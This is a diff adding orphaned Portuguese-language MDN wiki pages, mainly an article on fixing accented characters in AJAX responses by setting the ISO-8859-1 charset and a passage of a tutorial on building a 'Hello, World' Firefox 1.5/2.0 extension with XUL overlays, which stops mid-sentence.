diff options
Diffstat (limited to 'files/pt-pt/orphaned')
81 files changed, 7645 insertions, 0 deletions
diff --git a/files/pt-pt/orphaned/acentuação_para_conteúdos_carregados_por_ajax/index.html b/files/pt-pt/orphaned/acentuação_para_conteúdos_carregados_por_ajax/index.html new file mode 100644 index 0000000000..ab83230edf --- /dev/null +++ b/files/pt-pt/orphaned/acentuação_para_conteúdos_carregados_por_ajax/index.html @@ -0,0 +1,60 @@ +--- +title: Acentuação para conteúdos carregados por AJAX +slug: Acentuação_para_conteúdos_carregados_por_AJAX +tags: + - AJAX + - 'AJAX:Artigos' + - Artigos + - Todas_as_Categorias +--- +<h3 id="Explica.C3.A7.C3.B5es_Iniciais" name="Explica.C3.A7.C3.B5es_Iniciais">Explicações Iniciais</h3> +<p><em>Este artigo trata dos problemas de acentuação na <b>recuperação de um conteúdo via AJAX</b> e NÃO do envio via métodos GET ou POST. Para o tratamento de problemas no ENVIO, veja <a class="external" href="http://www.juliogreff.blog.br/utilizando-o-metodo-post/">esta solução (no sub-capítulo "Recebendo os dados (no PHP)"</a>.</em> +</p><p>O XMLHttpRequest, o motor por trás do AJAX, trabalha no padrão UTF-8 por default, tanto para enviar dados quanto pra receber. Isso vem do próprio browser. Nos primórdios da internet, o <a class="external" href="http://en.wikipedia.org/wiki/Tim_Berners-Lee">Tim Berners-Lee</a> ainda não estava tão preocupado com a internacionalização do HTML. Este esforço só começou a acontecer em novembro de 1995, depois da formação da <a class="external" href="http://www.w3c.org">W3C</a>, onde visavam extender as capacidades do HTML 2. +</p><p>Atualmente, os navegadores que implementam Ajax também costumam apresentar vários problemas com nossos caracteres em português, ou outras línguas que possuam acentuação. +</p><p>Para resolver este problema, o melhor método seria o uso de <a class="external" href="http://www.w3schools.com/tags/ref_entities.asp">HTML Entities</a>, porém nem sempre é possível. +De forma a contornar isto, vemos pela internet muitas complicações usando funções <a href="pt/JavaScript"> JavaScript</a> e funções como encode, escape, etc nos scripts do lado do servidor (ASP, PHP, JSP, etc). Uma complicação só!!! +</p><p>A forma recomendada, além do HTML entities, para corrigir o problema da acentuação no Ajax é através da <b>definição correta do <a class="external" href="http://www.w3.org/International/O-charset.pt-br.html">charset</a></b>. +</p><p>Para renderizar nosso português você pode usar o charset ISO-8859-1. Tente padronizar o ISO-8859-1 em todas as partes ligadas ao seu sistema: charset do banco de dados (caso haja algum envolvido), meta charset da página HTML, e o mais importante: +</p><p><b>Você deve enviar cabeçalhos do servidor para o navegador, informando que você usará ISO-8859-1.</b> +</p><p>Como fazer isto? +</p> +<ul><li><b>configurar seu servidor pra servir ISO-8859-1 por padrão</b>, se você tiver acesso a isto (adicionando uma linha no arquivo httpd.conf para servidores Apache) OU +</li><li><b>indicar o charset correto no início do seu script server side</b>, com apenas 1 (uma) linha de código passadas abaixo. +</li></ul> +<h3 id="O_c.C3.B3digo" name="O_c.C3.B3digo">O código</h3> +<ul><li>Em ColdFusion: +</li></ul> +<pre class="eval"><cfcontent type="text/html; charset=ISO-8859-1"> +</pre> +<ul><li>Em ASP: +</li></ul> +<pre class="eval"><% Response.Charset="ISO-8859-1" %> +</pre> +<ul><li>Em PHP: +</li></ul> +<pre class="eval"><?php header("Content-Type: text/html; charset=ISO-8859-1",true); ?> +</pre> +<ul><li>Em JSP: +</li></ul> +<pre class="eval"><%@ page contentType="text/html; charset=ISO-8859-1" %> +</pre> +<ul><li>(Se voce conhece como alterar para outras linguagens server-side, edite este artigo e conte-nos :) ) +</li></ul> +<p>Lembrando que os códigos devem ser colocados no início de seu script (pra quem tem pouca experiência com a linguagem server side). +Testado com sucesso no IE6 e FF1.5. +</p><p>Você também pode tentar <b>usar só a tag META em arquivos HTML simples</b>, mas não é confiável. </p> +<pre class="eval"><META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> +</pre> +<p>Caso você saiba a forma correta de editar a tag META para que os caracteres do português funcionem corretemente, edite este post e informe-nos. +</p> +<h3 id="Observa.C3.A7.C3.B5es_finais:" name="Observa.C3.A7.C3.B5es_finais:">Observações finais:</h3> +<p>Gostaria de lembrar que esta solução funciona apenas para a <b>recuperação</b> da página no servidor e <b>não para o envio de dados</b> via AJAX! Uma ótima solução encontrada na internet para o envio dos dados pode ser encontrada em <a class="external" href="http://www.juliogreff.blog.br/utilizando-o-metodo-post/"> ou </a><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182">. +</a></p><p><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182">Há também outra possível causa para problemas de caracteres: o seu banco de dados. Alguns BD's, guardam seus dados apenas em UTF-8, e aí ocorre a perda de caracteres. Verifique isso também caso os códigos acima não tenham dado certo. +</a></p><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182"> +</a><div class="originaldocinfo"><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182"> +<h3 id="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original" name="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original"> Informações Sobre o Documento Original </h3> +</a><ul><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182"></a><li><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182"> Documento original: </a><a class="external" href="http://elmicox.blogspot.com/2006/06/ajax-acentuao-soluo-final-1-linha-de.html">Ajax - Acentuação, a solução final - 1 linha de código</a> +</li><li> Autor: <a>Micox</a> +</li><li> Informações sobre Copyright: Livre +</li></ul> +</div> diff --git a/files/pt-pt/orphaned/componentes/index.html b/files/pt-pt/orphaned/componentes/index.html new file mode 100644 index 0000000000..e8487b3b61 --- /dev/null +++ b/files/pt-pt/orphaned/componentes/index.html @@ -0,0 +1,20 @@ +--- +title: Componentes +slug: Componentes +tags: + - Componentes + - NecessitaDeConteúdo + - Referência_da_API_do_XPCOM + - Todas_as_Categorias + - XPCOM +--- +<p><br> + Necessitamos duma lista detalhada de Componentes aqui, do género da lista de <a href="pt/Interfaces">Interfaces</a>.</p> + +<h3 id="Componentes.2C_Listagem_Alfab.C3.A9tica_.28incompleto.29" name="Componentes.2C_Listagem_Alfab.C3.A9tica_.28incompleto.29">Componentes, Listagem Alfabética (incompleto)</h3> + +<ul> + <li><a href="pt/NsDirectoryService">nsDirectoryService</a></li> + <li><a href="pt/NsObserverService">nsObserverService</a></li> + <li><a href="pt/NsScriptableInputStream">nsScriptableInputStream</a></li> +</ul> diff --git a/files/pt-pt/orphaned/configurando_um_servidor_de_atualização/index.html b/files/pt-pt/orphaned/configurando_um_servidor_de_atualização/index.html new file mode 100644 index 0000000000..f3bc1e6187 --- /dev/null +++ b/files/pt-pt/orphaned/configurando_um_servidor_de_atualização/index.html @@ -0,0 +1,5 @@ +--- +title: Configurando um servidor de atualização +slug: Configurando_um_servidor_de_atualização +--- +<p>O objetivo deste documento é fornecer instruções básicas sobre a configuração de seu próprio servidor de atualização.</p> diff --git a/files/pt-pt/orphaned/construir_uma_extensão/index.html b/files/pt-pt/orphaned/construir_uma_extensão/index.html new file mode 100644 index 0000000000..b65967fa36 --- /dev/null +++ b/files/pt-pt/orphaned/construir_uma_extensão/index.html @@ -0,0 +1,227 @@ +--- +title: Construir uma Extensão +slug: Construir_uma_Extensão +tags: + - Extensões +--- +<h4 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o">Introdução</h4> +<p>Este tutorial lhe dará uma visão bem básica dos passos para construir uma <a href="/pt/Extensões" title="pt/Extensões">extensão</a> - que adiciona um item na barra de status do Firefox contendo o texto "Hello, World!"</p> +<div class="note"> + <p><strong>Nota</strong> Este tutorial é voltado para o desenvolvimento de extensões para Firefox 1.5 ou 2.0. Existem outros tutoriais para o desenvolvimento extensões para versões mais antigas do Firefox.</p> +</div> +<h4 id="Ajustando_o_Ambiente_de_Desenvolvimento" name="Ajustando_o_Ambiente_de_Desenvolvimento">Ajustando o Ambiente de Desenvolvimento</h4> +<p>As extensões são empacotadas e distribuídas em arquivos ZIP, ou <a href="/en/Bundles" title="en/Bundles">Bundles</a>, arquivos com a extensão <code>xpi</code> (<em>pronunciado “zippy”</em>). A disposição do conteúdo dentro do arquivo XPI é assim:</p> +<pre class="eval">extension.xpi: + /<a href="/pt/install.rdf" title="pt/install.rdf">install.rdf</a> + <a href="#XPCOM_Components">/components/*</a> + <a href="#Application_Command_Line">/components/cmdline.js</a> + <a href="#Defaults_Files">/defaults/</a> + <a href="#Defaults_Files">/defaults/preferences/*.js</a> + /plugins/* + /chrome/ + /<a href="/pt/chrome.manifest" title="pt/chrome.manifest">chrome.manifest</a> + /<a href="/pt/Chrome_window_icons" title="pt/Chrome_window_icons">chrome/icons/default/*</a> + /chrome/content/ + +</pre> +<p>Por isso, é mais fácil dispor seus arquivos de código de uma forma similar, a menos que você queira escrever algum tipo de <a class="external" href="http://pt.wikipedia.org/wiki/Make">Makefile</a> ou <a class="external" href="http://pt.wikipedia.org/wiki/Shell_script">shell script</a> para empacotar e fechar todos os seus arquivos. Mesmo que esteja preparado para fazer isso, testar é muito mais simples se você dispuser seus arquivos desta maneira, devido a uma característica do Sistema de Add-on proporcionado a partir do Firefox 1.5.</p> +<p>Assim, vamos começar. Crie uma pasta para sua extensão em algum lugar do disco rígido, por exemplo <code>C:\extensions\myExtension\</code> ou <code>~/extensions/myExtension/</code>. Dentro desta pasta crie outra pasta chamada <code>chrome</code>, e dentro da pasta <code>chrome</code> crie outra pasta chamada <code>content</code>. (Em sistemas como o Unix você pode normalmente criar todos os três diretórios somente rodando <code>mkdir -p chrome/content</code> dentro do diretório root (raiz) da extensão.)</p> +<p>Dentro da raiz da sua pasta da extensão, ao lado da pasta <code>chrome</code>, crie dois novos arquivos de texto vazios, um chamado <code>chrome.manifest</code> e outro chamado <code>install.rdf</code>.</p> +<p>Mais ajuda no desenvolvimento de extensões pode ser encontrada na página <a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">Mozillazine Knowledge Base</a>.</p> +<h4 id="Criando_o_manifesto_de_instala.C3.A7.C3.A3o" name="Criando_o_manifesto_de_instala.C3.A7.C3.A3o">Criando o manifesto de instalação</h4> +<p>Abra o arquivo chamado <code><a href="/pt/install.rdf" title="pt/install.rdf">install.rdf</a></code> que você criou no topo da pasta da sua extensão e coloque isto nele:</p> +<pre class="eval"><?xml version="1.0"?> + +<RDF xmlns="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>" + xmlns:em="<span class="nowiki">http://www.mozilla.org/2004/em-rdf#</span>"> + + <Description about="urn:mozilla:install-manifest"> + <em:id><strong><a class="link-mailto" href="mailto:sample@example.net" rel="freelink">sample@example.net</a></strong></em:id> + <em:version><strong>1.0</strong></em:version> + <em:type>2</em:type> + + <!-- Target Application this extension can install into, + with minimum and maximum supported versions. --> + <em:targetApplication> + <Description> + <em:id><strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong></em:id> + <em:minVersion><strong>1.5</strong></em:minVersion> + <em:maxVersion><strong>2.0.0.*</strong></em:maxVersion> + </Description> + </em:targetApplication> + + <!-- Front End MetaData --> + <em:name><strong>Amostra!</strong></em:name> + <em:description><strong>Uma extensão de teste</strong></em:description> + <em:creator><strong>Seu Nome Aqui</strong></em:creator> + <em:homepageURL><strong><span class="nowiki">http://www.foo.com/</span></strong></em:homepageURL> + </Description> +</RDF> +</pre> +<ul> + <li><strong><a class="link-mailto" href="mailto:sample@example.net" rel="freelink">sample@example.net</a></strong> - o ID da extensão. Este é um valor que você usa para identificar sua extensão em formato de endereço de e-mail (note que isto não precisa ser o <em>seu</em> e-mail). Faça isto único. Você pode também usar um GUID. NOTA: Este parametro PRECISA estar no formato de um endereço de e-mail, no entanto NÃO precisa ser um e-mail válido.</li> + <li>Especifique <code><em:type>2</em:type></code> -- o 2 declara que isto instala uma extensão. Se você for instalar um tema o número será 4 (veja <a href="/en/Install_Manifests#type" title="en/Install_Manifests#type">Install Manifests#type</a> para outros tipos de código).</li> + <li><strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong> - ID de aplicação Firefox.</li> + <li><strong>1.5</strong> - a versão mínima do Firefox que você está dizendo que esta extensão poderá trabalhar. Coloque isto como a versão mínima, você cometerá e testará bugs (problemas) com isso.</li> + <li><strong>2.0.0.*</strong> - a versão máxima do Firefox que você está dizendo que esta extensão poderá trabalhar. Coloque isto com a versão mais nova disponível atualmente! Neste caso, "2.0.0.*" indica que a extensão trabalha com versões do Firefox 2.0.0.0 até 2.0.0.x.</li> +</ul> +<p>Extensões desenhadas para trabalhar com o Firefox 1.5.0.x devem ser colocadas no máximo com a versão "1.5.0.*".</p> +<p>Veja <a href="/en/Install_Manifests" title="en/Install_Manifests">Install Manifests</a> para uma lista completa das propriedades requeridas e opcionais.</p> +<p>Salve o arquivo.</p> +<h4 id="Extendendo_o_navegador_com_XUL" name="Extendendo_o_navegador_com_XUL">Estendendo o navegador com XUL</h4> +<p>A interface do usuário do Firefox é escrita em XUL e JavaScript. <a href="/pt/XUL" title="pt/XUL">XUL</a> é uma gramática XML que proporciona widgets como botões, menus, barras de ferramentas, árvores, etc. As ações do usuário são limitadas à funcionalidade usando JavaScript.</p> +<p>Para extender o navegador, nós modificamos partes da UI do navegador adicionando ou modificando widgets. Nós adicionamos widgets inserindo novos elementos DOM XUL na janela do navegador, e os modificamos utilizando scripts e anexando manipuladores de evento.</p> +<p>O navegador é implementado por um arquivo XUL chamado <code>browser.xul</code> (<code>$FIREFOX_INSTALL_DIR/chrome/browser.jar</code> que contém <code>content/browser/browser.xul</code>). Em browser.xul nós podemos encontrar a barra de status, semelhante a isso:</p> +<pre class="eval"><statusbar id="status-bar"> + ... <statusbarpanel>s ... +</statusbar> +</pre> +<p><code><statusbar id="status-bar"></code> é o "ponto de fusão" para a sobreposição XUL (XUL Overlay).</p> +<h5 id="Sobreposi.C3.A7.C3.A3o_.28overlay.29_XUL" name="Sobreposi.C3.A7.C3.A3o_.28overlay.29_XUL">Sobreposição (overlay) XUL</h5> +<p><a href="/en/XUL_Overlays" title="en/XUL_Overlays">XUL Overlays</a> é um modo de anexar outras widgets da UI a um documento XUL durante a execução. Um Overlay XUL é um arquivo .xul que especifica fragmentos de XUL para inserir em pontos específicos de junção dentro de um documento "master". Estes fragmentos podem especificar widgets para serem inseridas, removidas ou modificadas.</p> +<p><strong>Exemplo de Documento de Sobreposição XUL</strong></p> +<pre class="eval"><?xml version="1.0"?> +<overlay id="sample" + xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"> + <statusbar id="<strong>status-bar</strong>"> + <statusbarpanel id="my-panel" label="Hello, World"/> + </statusbar> +</overlay> +</pre> +<p>A <code><statusbar></code> chamada <code><strong>status-bar</strong></code> especifica o "ponto de junção" dentro da janela do navegador a que nós queremos anexar.</p> +<p>O sub-item de <code><statusbarpanel></code> é um novo widget que nós queremos para inserir dentro do ponto de junção.</p> +<p>Pegue esta amostra de código acima e salve-a em um arquivo chamado <code><strong>sample.xul</strong></code> dentro da pasta <code>chrome/content</code> que você criou.</p> +<p>Para mais informaçõs sobre junção de widgets e modificação da interface de usuário usando Overlays, veja abaixo.</p> +<h4 id="URLs_Chrome" name="URLs_Chrome">URLs Chrome</h4> +<p>Arquivos XUL são parte do "<a href="/en/Chrome_Registration" title="en/Chrome_Registration">Chrome Packages</a>" - pacotes dos componentes da interface de usuário que são carregados via URLs <code>chrome://</code>. Melhor que carregar o navegador pelo disco usando um URL <code>file://</code> (a localização do Firefox no sistema pode mudar de plataforma para plataforma e sistema para sistema), desenvolvedores Mozilla surgiram com uma solução para criar URLs para conteúdo XUL em que a aplicação instalada sabe como fazer.</p> +<p>A janela do navegador é: <code><a class="external" rel="freelink">chrome://browser/content/browser.xul</a></code>. Tente digitar esta URL na barra de localização do Firefox!</p> +<p>Chrome URLs consistem em diversos componentes:</p> +<ul> + <li>Primeiramente, o <strong>esquema URL</strong> (<code>chrome</code>) que diz à biblioteca de rede do Firefox que isto é um Chrome URL. Isto indica que o conteúdo da URL deve ser manipulado como um (<code>chrome</code>). Compare (<code>chrome</code>) a (<code>http</code>) que diz ao Firefox para tratar a URL como uma página da web.</li> + <li>Secundariamente, um nome de pacote (no exemplo acima, <code><strong>browser</strong></code>) que indentifica o pacote dos componentes da interface de usuário. Isto deve ser único para sua aplicação sempre que possível para evitar colisões entre extensões.</li> + <li>Terciariamente, o tipo de dados é requisitado. Existem três tipos: <code>content</code> (XUL, JavaScript, XBL bindings, etc. que formam a estrutura e o comportamento de uma aplicação UI), <code>locale</code> (DTD, arquivos .properties, etc. que contêm strings para as <a href="/pt/Localização" title="pt/Localização">localizações</a> UI), e <code>skin</code> (CSS e imagens que formam o <a href="/pt/Temas" title="pt/Temas">tema</a> da UI)</li> + <li>Finalmente, o trajeto de um arquivo para carregar.</li> +</ul> +<p>Então, <code><a class="external" rel="freelink">chrome://foo/skin/bar.png</a></code> carrega o arquivo <code>bar.png</code> do tema de <code>foo</code> na seção <code>skin</code>.</p> +<p>Quando você carrega conteúdo usando um Chrome URL, Firefox usa o Registro Chrome para traduzir estas URLs no atual arquivo de código no disco (ou em pacotes JAR).</p> +<h4 id="Criando_um_Manifesto_Chrome" name="Criando_um_Manifesto_Chrome">Criando um Manifesto Chrome</h4> +<p>Para mais informações sobre Manifestos Chrome e as propriedades que eles suportam, veja a referência <a href="/en/Chrome_Registration" title="en/Chrome_Registration">Chrome Manifest</a>.</p> +<p>Abra o arquivo chamado <code><strong>chrome.manifest</strong></code> que você criou ao lado do diretório <code>chrome</code> na raiz da pasta de código da sua extensão.</p> +<p>Adicione este código:</p> +<pre class="eval">content sample chrome/content/ +</pre> +<p>(<strong>Não se esqueça da barra, "<code>/</code>"!</strong> Sem ela, a extensão não será registrada.) <span class="comment">Nota: Tenha certeza de ter digitado tudo em letras minúsculas para o nome do pacote ("sample") no Firefox/Thunderbird 1.5 não há suporte à letras maiúsculas. Aparentemente haverá na versão 2.</span></p> +<p>Isto especifica o:</p> +<ol> + <li>tipo do material dentro do pacote chrome</li> + <li>nome do pacote chrome</li> + <li>localização dos arquivos do pacote chrome</li> +</ol> +<p>Então, esta linha diz que para o pacote chrome <strong>sample</strong>, nós podemos achar estes arquivos <strong>content</strong> (de conteúdo) na localização <code>chrome/content</code> onde está o caminho relativo à localização do <code>chrome.manifest</code>.</p> +<p>Note que os arquivos de conteúdo, localização e pele precisam estar no interior das pastas chamadas content (conteúdo), locale (localização) e skin (pele) dentro do subdiretório <code>chrome</code>.</p> +<p>Salve o arquivo. Quando você rodar o Firefox com sua extensão, (depois neste tutorial), isto irá registrar o pacote chrome.</p> +<h4 id="Registrando_uma_Sobreposi.C3.A7.C3.A3o" name="Registrando_uma_Sobreposi.C3.A7.C3.A3o">Registrando uma Sobreposição</h4> +<p>Você precisa do Firefox para fundir da sua sobreposição com a janela do navegador sempre que ela for exibida. Então adicione esta linha ao seu arquivo <code>chrome.manifest</code>:</p> +<pre class="eval">overlay <a class="external" rel="freelink">chrome://browser/content/browser.xul</a> <a class="external" rel="freelink">chrome://sample/content/sample.xul</a> +</pre> +<p>Isto dirá ao Firefox para fundir <code>sample.xul</code> em <code>browser.xul</code> quando <code>browser.xul</code> for carregado.</p> +<h4 id="Teste" name="Teste">Teste</h4> +<p>Primeiro, nós precisamos falar ao Firefox sobre a sua extensão. Nos velhos e maus dias do Firefox 1.0, isto significava empacotar sua extensão como um XPI e instalar através da interface de usuário, na qual havia uma dificuldade real. Agora é muito mais simples.</p> +<ol> + <li>Abra sua <a class="external" href="http://kb.mozillazine.org/Profile_folder">Profile Folder</a></li> + <li>Abra a pasta <strong>extensions</strong> (crie-a se ela não existir)</li> + <li>Crie um novo arquivo de texto, e coloque o caminho para a pasta da extensão dentro, e.g. <code>C:\extensions\myExtension\</code> ou <code>~/extensions/myExtension</code>. Salve o arquivo com o id da sua extensão como seu nome, e.g. <code><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></code>.</li> +</ol> +<p>Agora você está pronto para testar sua extensão!</p> +<p>Inicie o Firefox. O Firefox irá detectar o link para o diretório da sua extensão e instalará a extensão. Quando a janela do navegador aparecer você poderá ver o texto "Hello, World!" ao lado direito do painel da barra de estado.</p> +<p>Você pode agora retornar e fazer mudanças no arquivo .xul, fechar e reiniciar o Firefox, e elas aparecerão. <span class="comment">Isto realmente não combina com a extensão descrita e confunde as pessoas. -Nickolay CENTER> Image:Helloworld_tools_menu.PNG Image:Helloworld_extensions_wnd.PNG </CENTER</span></p> +<h4 id="Pacote" name="Pacote">Pacote</h4> +<p>Agora que sua extensão trabalha, você pode empacotá-la (<a href="/en/Extension_Packaging" title="en/Extension_Packaging">package</a>) para distribuição e instalação.</p> +<p>Empacote o <strong>conteúdo</strong> da pasta da extensão (não a pasta da extensão), e renomeie o arquivo empacotado para ter uma extensão .xpi. No Windows XP, você pode fazer isto facilmente selecionando todos os arquivos e sub pastas na pasta da sua extensão, com um clique do botão direito e a escolha "Enviar para -> Pasta Comprimida". Um arquivo .zip será criado para você. Somente renomeie-o e pronto!</p> +<p>No Mac OS X, você pode com um clique do botão direito sobre a pasta da extensão escolher "Criar Arquivo de..." para fazer o arquivo .zip. No entanto, desde que o Mac OS X adiciona arquivos escondidos à pastas para ordenar os metadados do arquivo, você deve em vez disso usar o Terminal, deletar os arquivos escondidos (cujos nomes começam com um período), e então usar o comando <code>zip</code> na linha de comando para criar o arquivo .zip.</p> +<p>No Linux, você pode do mesmo modo usar a ferramenta Zip pela linha de comando.</p> +<p>Se você tem a extensão 'Extension Builder' instalada ela pode compilar o arquivo .xpi para você (Ferramentas -> Desenvolvimento de Extensões -> Construtor de Extensões). Meramente navegue até o diretório onde sua extensão está (install.rdf etc.), e clique no botão Construir Extensão. Esta extensão possui várias ferramentas para tornar o desenvolvimento mais fácil.</p> +<p>Agora atualize o arquivo .xpi no seu servidor, assegurando-se que ele serve como <code>application/x-xpinstall</code>. Você pode ligar para isto e permitir as pessoas baixarem e instalarem-na no Firefox. Para os propósitos de somente testar nosso arquivo .xpi nós podemos apenas arrastá-lo até a janela de extensões via Ferramentas -> Complementos -> Extensões.</p> +<h5 id="Usando_addons.mozilla.org" name="Usando_addons.mozilla.org">Usando addons.mozilla.org</h5> +<p>Mozilla Update é um site de distribuição onde você pode hospedar sua extensão de graça. Sua extensão irá ser hospedada na rede de espelho Mozilla para garantir seu download mesmo quando se tornar mais popular. O site Mozilla também proporciona aos usuários uma instalação simples, e colocará automaticamente suas versões mais novas disponíveis para os usuários das suas versões já existentes quando você atualizá-las. Em adição o Mozilla Update permite aos usuários comentar e proporcionar avaliações da sua extensão. Isto é altamente recomendado se você usa o Mozilla Update para distribuir suas extensões!</p> +<p>Visite <a class="external" href="http://addons.mozilla.org/developers/" rel="freelink">http://addons.mozilla.org/developers/</a> para criar uma conta e começar a distribuir suas extensões!</p> +<p><em>Nota:</em> Sua extensão será passada rapidamente e mais baixada, se você tiver uma boa descrição e algumas fotos da extensão em ação.</p> +<h5 id="Registrando_Extens.C3.B5es_no_Registro_do_Windows" name="Registrando_Extens.C3.B5es_no_Registro_do_Windows">Registrando Extensões no Registro do Windows</h5> +<p>No Windows, informação sobre extensões pode ser adicionada ao registro, e as extensões serão automaticamente "colhidas" na próxima vez que a aplicação iniciar. Isto permite que os instaladores de aplicação adicionem facilmente os ganchos de integração como extensões. Veja <a href="/en/Adding_Extensions_using_the_Windows_Registry" title="en/Adding_Extensions_using_the_Windows_Registry">Adding Extensions using the Windows Registry</a> para mais informações.</p> +<h4 id="Mais_sobre_Sobreposi.C3.A7.C3.B5es_XUL" name="Mais_sobre_Sobreposi.C3.A7.C3.B5es_XUL">Mais sobre Sobreposições XUL</h4> +<p>Além de adicionar widgets UI ao ponto de fusão, você pode usar fragmentos XUL dentro da sobreposição para:</p> +<ul> + <li>Modificar atributos no ponto de fusão, e.g. <code><statusbar id="status-bar" hidden="true"/></code> (esconde a barra de estado)</li> + <li>Remove o ponto de fusão do documento mestre, e.g. <code><statusbar id="status-bar" removeelement="true"/></code></li> + <li>Controla a posição das widgets inseridas:</li> +</ul> +<pre class="eval"><statusbarpanel position="1" .../> + +<statusbarpanel insertbefore="other-id" .../> + +<statusbarpanel insertafter="other-id" .../> +</pre> +<h4 id="Criando_Novos_Componentes_na_Interface_de_Usu.C3.A1rio" name="Criando_Novos_Componentes_na_Interface_de_Usu.C3.A1rio">Criando Novos Componentes na Interface de Usuário</h4> +<p>Você pode criar suas próprias janelas e caixas de diálogo em arquivos .xul separados, proporcionar funcionalidades pela implementação de ações de usuário em arquivos .js, usando métodos DOM para manipular widgets UI. Você pode usar regras de estilo em arquivos .css para anexar imagens, configurar cores, etc.</p> +<p>Veja a documentação <a href="/pt/XUL" title="pt/XUL">XUL</a> para mais recursos para desenvolvedores XUL.</p> +<h4 id="Arquivos_Padr.C3.A3o" name="Arquivos_Padr.C3.A3o">Arquivos Padrão</h4> +<p>Arquivos padrão que você usa para escalar um perfil de usuário que deve ser colocado em <code>defaults/</code> sob a raiz da pasta da sua extensão. Preferências padrão em arquivos .js devem ser armazenadas em <code>defaults/preferences/</code> — quando você as coloca aqui elas são automaticamente carregadas pelas preferências do sistema do Firefox quando ele é iniciado, então você pode acessá-las usando o <a href="/en/Preferences_API" title="en/Preferences_API">Preferences API</a>.</p> +<h4 id="Componentes_XPCOM" name="Componentes_XPCOM">Componentes XPCOM</h4> +<p>O Firefox suporta componentes <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> nas extensões. Você pode criar seus próprios componentes facilmente em JavaScript ou em C++ (usando o <a href="/en/Gecko_SDK" title="en/Gecko_SDK">Gecko SDK</a>).</p> +<p>Coloque todos os seus arquivos .js ou .dll no diretório <code>components</code> — eles são automaticamente registrados na primeira vez que o Firefox rodar depois que sua extensão for instalada.</p> +<p>Para mais informações, veja os livros <a href="/en/How_to_Build_an_XPCOM_Component_in_Javascript" title="en/How_to_Build_an_XPCOM_Component_in_Javascript">How to Build an XPCOM Component in Javascript</a> e <a href="/en/Creating_XPCOM_Components" title="en/Creating_XPCOM_Components">Creating XPCOM Components</a>.</p> +<h5 id="Aplica.C3.A7.C3.A3o_de_Linha_de_Comando" name="Aplica.C3.A7.C3.A3o_de_Linha_de_Comando">Aplicação de Linha de Comando</h5> +<p>Um dos possíveis usos dos componentes customizados XPCOM é adicionar um manipulador de linha de comando para o Firefox ou Thunderbird. Você pode usar esta técnica para rodar sua extensão como uma aplicação:</p> +<pre class="eval"> firefox.exe -myapp +</pre> +<p><span class="comment">Devo mover as partes úteis disto para a página Command Line. -Nickolay Isto é feito adicionando um componente que contém a função... function NSGetModule(comMgr, fileSpec) { return myAppHandlerModule; } Esta função roda pelo Firefox cada vez que ele é iniciado. O Firefox registra o myAppHandlerModule's chamando-o 'registerSelf()'. Então isto obtém a fábrica de manipulador myAppHandlerModule's via 'getClassObject()'. A fábrica de manipulador é usada para criar a manipulação usando isto 'createInstance(). Finalmente, a manipulação 'handle(cmdline)' processa a linha de comando cmdline's handleFlagWithParam() e handleFlag().</span> Veja <a href="/en/Chrome/Command_Line" title="en/Chrome/Command_Line">Chrome: Command Line</a> e a <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=365297">discussão no fórum</a> para detalhes (em inglês).</p> +<h4 id="Localiza.C3.A7.C3.A3o" name="Localiza.C3.A7.C3.A3o">Localização</h4> +<p>Para suportar mais que uma linguagem, você deve separar as strings do seu conteúdo usando <a href="/en/XUL_Tutorial/Localization" title="en/XUL_Tutorial/Localization">entities</a> e <a href="/en/XUL_Tutorial/Property_Files" title="en/XUL_Tutorial/Property_Files">string bundles</a>. É muito mais fácil fazer isto se você estiver desenvolvendo sua extensão do que retornar fazer isto mais tarde!</p> +<p>Informação de localização é armazenada no diretório local (locale) da extensão. Por exemplo, para adicionar um local à nossa extensão de amostra, crie um diretório chamado "locale" em chrome (onde o diretório "content está localizado) e adicione a linha seguinte ao arquivo chrome.manifest:</p> +<pre class="eval">locale sample sampleLocale chrome/locale/ +</pre> +<p>Para criar valores atributos localizáveis em XUL, você colocar os valores em um arquivo <code>.ent</code> (ou um <code>.dtd</code>), o qual deve ser colocado no diretório locale e ser como este:</p> +<pre class="eval"><!ENTITY button.label "Click Me!"> +<!ENTITY button.accesskey "C"> +</pre> +<p>E depois incluí-lo no topo do seu documento XUL (mas embaixo de '<?xml version"1.0"?>') assim:</p> +<pre class="eval"><!DOCTYPE <strong>window</strong> SYSTEM "<a class="external" rel="freelink">chrome://packagename/locale/filename.ent</a>"> +</pre> +<p>Onde <code><strong>window</strong></code> é o valor <code><a href="/En/DOM/Node.localName" title="En/DOM/Node.localName">localName</a></code> do elemento raiz do documento XUL, e o valor da propriedade <code>SYSTEM</code> é o chrome URL para o arquivo de entidade. Para a nossa extensão de amostra, o elemento raiz é <code><strong>overlay</strong></code>.</p> +<p>Para usar as entidades, modifique seu XUL para isto:</p> +<pre class="eval"><button label="&button.label;" accesskey="&button.accesskey;"/> +</pre> +<p>O Registro Chrome assegurará que o arquivo da entidade seja carregado do pacote de localização correspondente ao local selecionado.</p> +<p>Para strings que você usa no script, crie um arquivo .properties, um arquivo de texto que tem uma string em cada linha, neste formato:</p> +<pre class="eval">key=value +</pre> +<p>e então use as etiquetas <code><a href="/en/nsIStringBundleService" title="en/nsIStringBundleService">en:nsIStringBundleService</a></code>/<code><a href="/en/nsIStringBundle" title="en/nsIStringBundle">en:nsIStringBundle</a></code> ou <code><a class="external" href="http://xulplanet.com/references/elemref/ref_stringbundle.html"><stringbundle></a></code> para carregar os valores dentro do script.</p> +<h4 id="Entendendo_o_navegador" name="Entendendo_o_navegador">Entendendo o navegador</h4> +<p>Use o <a href="/en/DOM_Inspector" title="en/DOM_Inspector">DOM Inspector</a> (não é parte da instalação 